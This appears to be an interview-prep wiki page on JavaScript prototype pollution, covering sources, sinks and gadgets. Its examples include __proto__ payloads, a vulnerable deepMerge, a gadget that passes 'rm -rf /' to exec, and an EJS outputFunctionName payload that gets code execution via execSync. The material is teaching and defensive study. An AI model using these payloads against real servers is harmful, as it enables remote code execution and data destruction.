Interview Bank
  • Interview Bank
  • Web
    • Persistent Connection and Non Persistent
    • CDN
    • Code Review
    • JWT
      • JWT vs Session Based Authentication
      • JWT Challenge
      • JWE
      • JWS
    • Content Security Policy (CSP)
    • Same-origin Policy (SOP)
    • Cross-Origin Resource Sharing (CORS)
      • Exploiting CORS
    • HTTP Strict Transport Security (HSTS)
    • SQL Injection (SQLi)
    • Password Encryption in Login APIs
    • API Security
      • API Principles
    • Simple bypass PHP
    • Server-side Template Injection (SSTI)
    • Javascript Object and Inheritance
    • HTTP/2
    • Cookie vs Local vs session Storage
    • XML External Entity (XXE)
    • What happened when enter domain name in browser
    • Prototype Pollution - Part 1
    • Prototype Pollution - Part 2
    • Nginx vs Apache
  • OT Security
    • Securing Operational Technology: Understanding OT Security
  • Quantum Computing
    • Quantum Computing: Unveiling the Cryptographic Paradigm Shift
    • Quantum Obfuscation: Shielding Code in the Quantum Era
  • DevSecOps
    • Continuous Integration/Continuous Deployment Pipeline Security
    • Chaos Engineering Overview
      • Security Chaos Engineering
    • Mysql VS redis
    • Kubernetes (k8s)
    • How MySQL executes query
    • REDIS
    • Difference between cache and buffer
  • Windows
    • Pentesting Active Directory - Active Directory 101
    • Pentesting Active Directory - Kerberos (Part 1)
    • Pentesting Active Directory - Kerberos (Part 2)
    • AD vs Kerberos vs LDAP
    • Active Directory Certificate Services Part 1
    • Unconstrained Delegation
    • AS-REP Roasting
    • NTLM Relay via SMB
    • LLMRN
    • Windows lateral movement
    • Constrained Delegation
    • Resource-Based Constrained Delegation
    • IFEO (lmage File Execution Options) Hijacking
  • UNIX
    • Setuid
  • Large Language Models (LLMs)
    • Tokens
    • LangChain
    • Integration and Security
  • Android
    • Keystore
  • Red team development
    • Secure C2 Infrastructure
    • P Invoke in c#
    • D Invoke
    • ExitProcess vs ExitThread
  • Blue Team
    • Indicators of Compromise
    • Methods to prevent Email domain spoofing
    • Windows Prefetching
  • CVE
    • XZ Outbreak CVE-2024-3094
    • Log4J Vulnerability (CVE-2021-44228)
    • SolarWinds Hack (CVE-2020-10148)
    • PHP CGI RCE (CVE-2024-4577)
    • Windows Recall
  • Software Architecture
    • Microservices
    • KVM
  • Docker
    • Overview
    • Daemon Socket
    • Tips to reduce docker size
  • Blockchain
    • Overview
    • Smart Contract
  • Business Acumen
    • Market Research Reports and Perception
    • Understanding Acquisitions
    • Cybersecurity as a Business Strategy
  • Cyber Teams
    • Introduction to Purple Teaming
  • Malware
    • Dynamic Sandbox Limitations
Powered by GitBook
On this page
  • Brief Recap
  • Prototype pollution source
  • Prototype pollution via URL
  • Prototype pollution via JSON input
  • Prototype pollution sinks
  • Prototype pollution gadgets
  • A example of prototype pollution
  • Author
  • References
  1. Web

Prototype Pollution - Part 2

Part 2 of Prototype pollution

PreviousPrototype Pollution - Part 1NextNginx vs Apache

Last updated 2 months ago

Previously we went through how objects and prototype works in JavaScript and a high level overview on how an attacker can pollute the prototype of object in JavaScript.

Brief Recap

In order for prototype pollution vulnerability to work, the user controlled properties must be assigned to the object's prototype instead of the object itself. Hence polluting the prototype of the object. This can be done through functions like a recursive merge function.

As I mentioned in Part 1, to successfully exploit prototype pollution, you need the following key components

  • A source - Any user input that allows you to poison the prototypes with arbitrary properties.

  • A sink - A JavaScript function or DOM element that execute arbitrary code.

  • An exploitable gadget - A property that is passed into a sink without proper filtering.

I will be diving more in depth into these three key components

Prototype pollution source

As mentioned, a prototype pollution source is any user input that enables a user to add arbitrary properties to prototype objects. These are some of the most common type of sources:

  • URL query via a GET request

  • JSON-based input via a POST request

  • Web messages

I will be going through URL query and JSON-based input.

Prototype pollution via URL

One can poison the prototype via URL in such a manner:

https://greenhat.com/?__proto__['evilProperty']=payload

We might think that the URL parser may interpret __proto__ as an arbitrary string. But as we mentioned before, if we merge these keys and values into an existing object as properties.

What we think might happen when we do a recursive merge
{
    currentProperty1: 'test',
    currentProperty2: 'test2',
    __proto__: {
        evilProperty: 'payload'
    }
}
What actually happen
targetObject.__proto__.evilProperty = 'payload';

So, how did this happen? The JavaScript engine actually treat __proto__ as a getter for the prototype. As a result, the evilProperty is assigned to the prototype rather than the target object itself. Now all objects that use the same prototype of the targetObject will inherit the evilProperty.

Prototype pollution via JSON input

User-controllable objects are often derived from a JSON string using the JSON.parse() method. JSON.parse() also treats any key in the JSON object as an arbitrary string, including things like __proto__.

A typical malicious JSON
{
    "__proto__": {
        "evilProperty": "payload"
    }
}

Using JSON.parse() method, if we convert the JSON object into a JavaScript object, the resulting object will have a property with the key __proto__. If this object is merged into an existing object without proper key sanitization, it will lead to prototype pollution.

Prototype pollution sinks

A sink refers to a point in the code where untrusted input is processed or executed. This makes it a potential risk if it is not properly handled. In our case for a web application, it will usually be a JavaScript function or DOM element that allows for arbitrary JavaScript or system commands. This obviously depends on the type of web application and the dependency libraries that are in use.

function deepMerge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            deepMerge(target[key], source[key]);
        } else {
            target[key] = source[key];  // 🚨 Prototype Pollution Sink
        }
    }
}

let maliciousPayload = JSON.parse('{ "__proto__": { "isAdmin": true } }');

deepMerge({}, maliciousPayload);

console.log({}.isAdmin); // ✅ True - Exploited!

Prototype pollution gadgets

This is probably the most important part of prototype pollution as a gadget allows the vulnerability to become a viable exploit. Gadgets are usually existing function or a feature in the application that can be manipulated to trigger arbitrary execution or escalate privileges after polluting the prototype.

A example of exec method being use as a gadget for prototype pollution
const { exec } = require("child_process");

let userInput = JSON.parse('{ "__proto__": { "shell": "rm -rf /" } }');

// Polluting the prototype
Object.assign({}, userInput);

exec(userInput.shell, (error, stdout, stderr) => {
    console.log(stdout);
});

A property can be used as a gadget if it is:

  • Used by the application in an unsafe way such as passing it to a sink without proper filtering.

  • The object must inherit a malicious version of the property added to the prototype by the attacker.

A example of prototype pollution

Now for an specific example, I have a vulnerable function called compile and I control the outputFunctionName property of it.

An example of compile function Credits: Offsec
569    compile: function () {
...
574      var opts = this.opts;
...
584      if (!this.source) {
585        this.generateSource();
586        prepended +=
587          '  var __output = "";\n' +
588          '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
589        if (opts.outputFunctionName) {
590          prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
591        }
...
609      }

Based on line 590, to make the payload work, we need to do the following:

 var x = 1; WHATEVER_JSCODE_WE_WANT ; y = __append;'

We just need to add a x=1; + our code; + y to the payload to execute this part properly.

If we were to have a JSON input for a API call on a /sample endpoint, we can do the following to ensure that our code executes:

A sample JSON input payload
}
    "sampleProperty": "",
    "__proto__":
    {
        "outputFunctionName":   "x = 1; console.log(process.mainModule.require('child_process').execSync('whoami').toString()); y"
    }
}

This web application will process our payload to execute the system whoami command on the server hence allowing us to get RCE via prototype pollution.

Author

References

  • Offsec Advanced Web Attack and Exploitation

Frost

❄️
https://portswigger.net/web-security/prototype-pollution
A typical Prototype Pollution attack type Credits: PortSwigger